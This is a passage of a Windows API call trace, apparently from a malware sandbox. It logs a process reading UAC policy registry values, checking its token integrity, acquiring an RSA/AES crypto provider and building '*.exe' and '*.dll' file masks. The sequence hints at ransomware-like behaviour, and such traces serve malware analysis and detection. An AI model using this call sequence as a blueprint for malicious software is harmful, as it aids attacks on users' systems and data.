lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableUIADesktopToggle", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0033.817] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x8) returned 0xf7d238 [0033.817] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c1f8 [0033.817] RegEnumValueA (in: hKey=0x38, dwIndex=0x6, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableVirtualization", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0033.817] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x8) returned 0xf7d248 [0033.817] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c288 [0033.817] RegEnumValueA (in: hKey=0x38, dwIndex=0x7, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="PromptOnSecureDesktop", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0033.817] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x8) returned 0xf7d258 [0033.817] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c2d0 [0033.817] RegEnumValueA (in: hKey=0x38, dwIndex=0x8, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ValidateAdminCodeSignatures", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0033.817] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x30) returned 0xf7b930 [0033.817] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7b860) returned 1 [0033.817] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x8) returned 0xf7d268 [0033.817] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c318 [0033.817] RegEnumValueA (in: hKey=0x38, dwIndex=0x9, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="dontdisplaylastusername", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0033.817] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x8) returned 0xf7d278 [0033.817] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c360 [0033.817] RegEnumValueA (in: hKey=0x38, dwIndex=0xa, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticecaption", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0033.817] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x8) returned 0xf7d288 [0033.817] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c3a8 [0033.817] RegEnumValueA (in: hKey=0x38, dwIndex=0xb, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticetext", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0033.817] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x8) returned 0xf7d298 [0033.817] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c3f0 [0033.817] RegEnumValueA (in: hKey=0x38, dwIndex=0xc, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="scforceoption", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0033.817] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c480 [0033.818] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7b930) returned 1 [0033.818] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x8) returned 0xf7d2a8 [0033.818] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c4c8 [0033.818] RegEnumValueA (in: hKey=0x38, dwIndex=0xd, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="shutdownwithoutlogon", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0033.818] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x8) returned 0xf7d2b8 [0033.818] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c510 [0033.818] RegEnumValueA (in: hKey=0x38, dwIndex=0xe, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="undockwithoutlogon", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0033.818] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x8) returned 0xf7d2c8 [0033.818] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c558 [0033.818] RegEnumValueA (in: hKey=0x38, dwIndex=0xf, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0033.818] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x8) returned 0xf7d2d8 [0033.818] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c438 [0033.818] RegEnumValueA (in: hKey=0x38, dwIndex=0x10, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0033.818] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c5a0 [0033.818] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c5a0) returned 1 [0033.818] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c5a0 [0033.818] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c5a0) returned 1 [0033.818] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c5a0 [0033.818] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c5a0) returned 1 [0033.818] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c5a0 [0033.818] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c5a0) returned 1 [0033.818] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c5a0 [0033.818] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c5a0) returned 1 [0033.818] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c5a0 [0033.819] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c5a0) returned 1 [0033.819] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c5a0 [0033.819] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c5a0) returned 1 [0033.819] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c5a0 [0033.819] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c5a0) returned 1 [0033.819] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c5a0 [0033.819] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c0d8) returned 1 [0033.819] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7d1f8) returned 1 [0033.819] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c240) returned 1 [0033.819] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7d1e8) returned 1 [0033.819] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c120) returned 1 [0033.819] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7d208) returned 1 [0033.819] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c168) returned 1 [0033.819] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7d218) returned 1 [0033.819] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c1b0) returned 1 [0033.819] RegQueryValueExA (in: hKey=0x38, lpValueName="PromptOnSecureDesktop", lpReserved=0x0, lpType=0x18fb9c, lpData=0x0, lpcbData=0x18fba4*=0x0 | out: lpType=0x18fb9c*=0x4, lpData=0x0, lpcbData=0x18fba4*=0x4) returned 0x0 [0033.819] RegQueryValueExA (in: hKey=0x38, lpValueName="PromptOnSecureDesktop", lpReserved=0x0, lpType=0x18fb9c, lpData=0xf7c480, lpcbData=0x18fba4*=0x4 | out: lpType=0x18fb9c*=0x4, lpData=0xf7c480*=0x1, lpcbData=0x18fba4*=0x4) returned 0x0 [0033.819] RegCloseKey (hKey=0x38) returned 0x0 [0033.819] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x18fc14 | out: TokenHandle=0x18fc14*=0x38) returned 1 [0033.820] GetTokenInformation (in: TokenHandle=0x38, TokenInformationClass=0x14, TokenInformation=0x18fc10, TokenInformationLength=0x4, ReturnLength=0x18fc0c | out: TokenInformation=0x18fc10, ReturnLength=0x18fc0c) returned 1 [0033.820] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x18fc00 | out: TokenHandle=0x18fc00*=0xc4) returned 1 [0033.820] GetTokenInformation (in: TokenHandle=0xc4, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x18fbfc | out: TokenInformation=0x0, ReturnLength=0x18fbfc) returned 0 [0033.820] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c5a0 [0033.820] GetTokenInformation (in: TokenHandle=0xc4, TokenInformationClass=0x19, TokenInformation=0xf7c5a0, TokenInformationLength=0x14, ReturnLength=0x18fbfc | out: TokenInformation=0xf7c5a0, ReturnLength=0x18fbfc) returned 1 [0033.820] GetSidSubAuthorityCount (pSid=0xf7c5a8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000)) returned 0xf7c5a9 [0033.820] GetSidSubAuthority (pSid=0xf7c5a8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000), nSubAuthority=0x0) returned 0xf7c5b0 [0033.820] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c5a0) returned 1 [0033.820] NtClose (Handle=0xc4) returned 0x0 [0033.820] GetSystemInfo (in: lpSystemInfo=0x18fd48 | out: lpSystemInfo=0x18fd48*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0033.820] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x6c) returned 0xf7b860 [0033.820] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c5a0 [0033.820] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName=0x0) returned 0xc4 [0033.820] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c480 [0033.820] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c438 [0033.820] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c558 [0033.820] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c510 [0033.820] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x5000) returned 0xf80048 [0033.821] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c4c8 [0033.821] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c4c8) returned 1 [0033.821] CryptAcquireContextW (in: phProv=0x18fd5c, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18fd5c*=0x601ec8) returned 1 [0033.835] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf80048) returned 1 [0033.835] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7b8d8 [0033.835] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7b960 [0033.835] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c4c8 [0033.835] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7b9e8 [0033.835] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7ba70 [0033.835] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c3f0 [0033.835] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7baf8 [0033.835] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c3a8 [0033.835] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x5000) returned 0xf80048 [0033.835] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c360 [0033.835] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c360) returned 1 [0033.835] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0033.842] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf80048) returned 1 [0033.842] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x5fcbd8, lpbSaclPresent=0x18fd10, pSacl=0x18fd64, lpbSaclDefaulted=0x18fd10 | out: lpbSaclPresent=0x18fd10, pSacl=0x18fd64, lpbSaclDefaulted=0x18fd10) returned 1 [0033.842] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c360 [0033.842] CreateEventA (lpEventAttributes=0x18fd58, bManualReset=1, bInitialState=0, lpName="") returned 0x110 [0033.842] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c360) returned 1 [0033.842] GetLastError () returned 0x0 [0033.842] LocalFree (hMem=0x5fcbd8) returned 0x0 [0033.842] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c360 [0033.842] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x5000) returned 0xf80048 [0033.842] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c318 [0033.842] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c318) returned 1 [0033.842] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0033.843] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf80048) returned 1 [0033.843] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x5fcbd8, lpbSaclPresent=0x18fd10, pSacl=0x18fd64, lpbSaclDefaulted=0x18fd10 | out: lpbSaclPresent=0x18fd10, pSacl=0x18fd64, lpbSaclDefaulted=0x18fd10) returned 1 [0033.843] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c318 [0033.843] CreateEventA (lpEventAttributes=0x18fd58, bManualReset=1, bInitialState=0, lpName="") returned 0x114 [0033.843] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c318) returned 1 [0033.843] GetLastError () returned 0x0 [0033.843] LocalFree (hMem=0x5fcbd8) returned 0x0 [0033.843] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c318 [0033.843] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x5000) returned 0xf80048 [0033.843] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c2d0 [0033.843] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c2d0) returned 1 [0033.843] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0033.844] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf80048) returned 1 [0033.844] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x5fcbd8, lpbSaclPresent=0x18fd10, pSacl=0x18fd64, lpbSaclDefaulted=0x18fd10 | out: lpbSaclPresent=0x18fd10, pSacl=0x18fd64, lpbSaclDefaulted=0x18fd10) returned 1 [0033.844] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c2d0 [0033.844] CreateEventA (lpEventAttributes=0x18fd58, bManualReset=1, bInitialState=0, lpName="") returned 0x118 [0033.844] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c2d0) returned 1 [0033.844] GetLastError () returned 0x0 [0033.844] LocalFree (hMem=0x5fcbd8) returned 0x0 [0033.844] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x2800) returned 0xf80048 [0033.844] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7bb80 [0033.844] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c2d0 [0033.844] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd8c | out: OldValue=0x18fd8c*=0x0) returned 1 [0033.844] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x2800) returned 0xf82850 [0033.844] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c288 [0033.845] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c288) returned 1 [0033.845] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x10) returned 0xf7d5e8 [0033.845] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x8) returned 0xf7d2d8 [0033.845] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c288 [0033.845] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c1f8 [0033.845] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c1f8) returned 1 [0033.845] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c288) returned 1 [0033.845] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7d2d8) returned 1 [0033.845] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7d5e8) returned 1 [0033.845] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf82850) returned 1 [0033.845] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x2800) returned 0xf82850 [0033.845] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c288 [0033.845] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c288) returned 1 [0033.845] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c288 [0033.845] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x10) returned 0xf7d5e8 [0033.845] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x8) returned 0xf7d2d8 [0033.845] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c1f8 [0033.845] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c288) returned 1 [0033.845] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x8) returned 0xf7d2c8 [0033.845] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c288 [0033.845] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x10) returned 0xf7d600 [0033.845] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x8) returned 0xf7d2b8 [0033.845] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c1b0 [0033.845] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x8) returned 0xf7d2a8 [0033.845] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c168 [0033.845] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c1f8) returned 1 [0033.845] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7d2d8) returned 1 [0033.845] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c288) returned 1 [0033.845] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7d2c8) returned 1 [0033.845] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7d5e8) returned 1 [0033.845] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c288 [0033.845] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c288) returned 1 [0033.845] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c288 [0033.845] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c288) returned 1 [0033.845] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x10) returned 0xf7d5e8 [0033.845] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x8) returned 0xf7d2c8 [0033.845] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c288 [0033.845] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x8) returned 0xf7d2d8 [0033.845] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c1f8 [0033.845] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c1b0) returned 1 [0033.845] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7d2b8) returned 1 [0033.846] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c168) returned 1 [0033.846] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7d2a8) returned 1 [0033.846] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7d600) returned 1 [0033.846] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x10) returned 0xf7d600 [0033.846] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x8) returned 0xf7d2a8 [0033.846] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c168 [0033.846] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x8) returned 0xf7d2b8 [0033.846] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c1b0 [0033.846] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c288) returned 1 [0033.846] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7d2c8) returned 1 [0033.846] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c1f8) returned 1 [0033.846] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7d2d8) returned 1 [0033.846] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7d5e8) returned 1 [0033.846] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x10) returned 0xf7d5e8 [0033.846] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x8) returned 0xf7d2d8 [0033.846] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c1f8 [0033.846] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x8) returned 0xf7d2c8 [0033.846] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c288 [0033.846] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c168) returned 1 [0033.846] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7d2a8) returned 1 [0033.846] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c1b0) returned 1 [0033.846] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7d2b8) returned 1 [0033.846] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7d600) returned 1 [0033.846] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf82850) returned 1 [0033.846] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xf7c1f8, cbMultiByte=5, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0033.846] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7d9d0 [0033.846] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xf7c1f8, cbMultiByte=5, lpWideCharStr=0xf7d9d0, cchWideChar=5 | out: lpWideCharStr="*.exe") returned 5 [0033.846] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7da58 [0033.846] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7d9d0) returned 1 [0033.846] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x10) returned 0xf7d600 [0033.846] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x8) returned 0xf7d2b8 [0033.846] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7d9d0 [0033.846] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7da58) returned 1 [0033.846] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xf7c288, cbMultiByte=5, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0033.846] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7da58 [0033.846] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xf7c288, cbMultiByte=5, lpWideCharStr=0xf7da58, cchWideChar=5 | out: lpWideCharStr="*.dll") returned 5 [0033.846] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7dae0 [0033.846] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7da58) returned 1 [0033.847] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x8) returned 0xf7d2a8 [0033.847] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7da58 [0033.847] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7dae0) returned 1 [0033.847] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c1f8) returned 1 [0033.847] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7d2d8) returned 1 [0033.847] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c288) returned 1 [0033.847] RtlFreeHeap (HeapHandle=0xf70000, 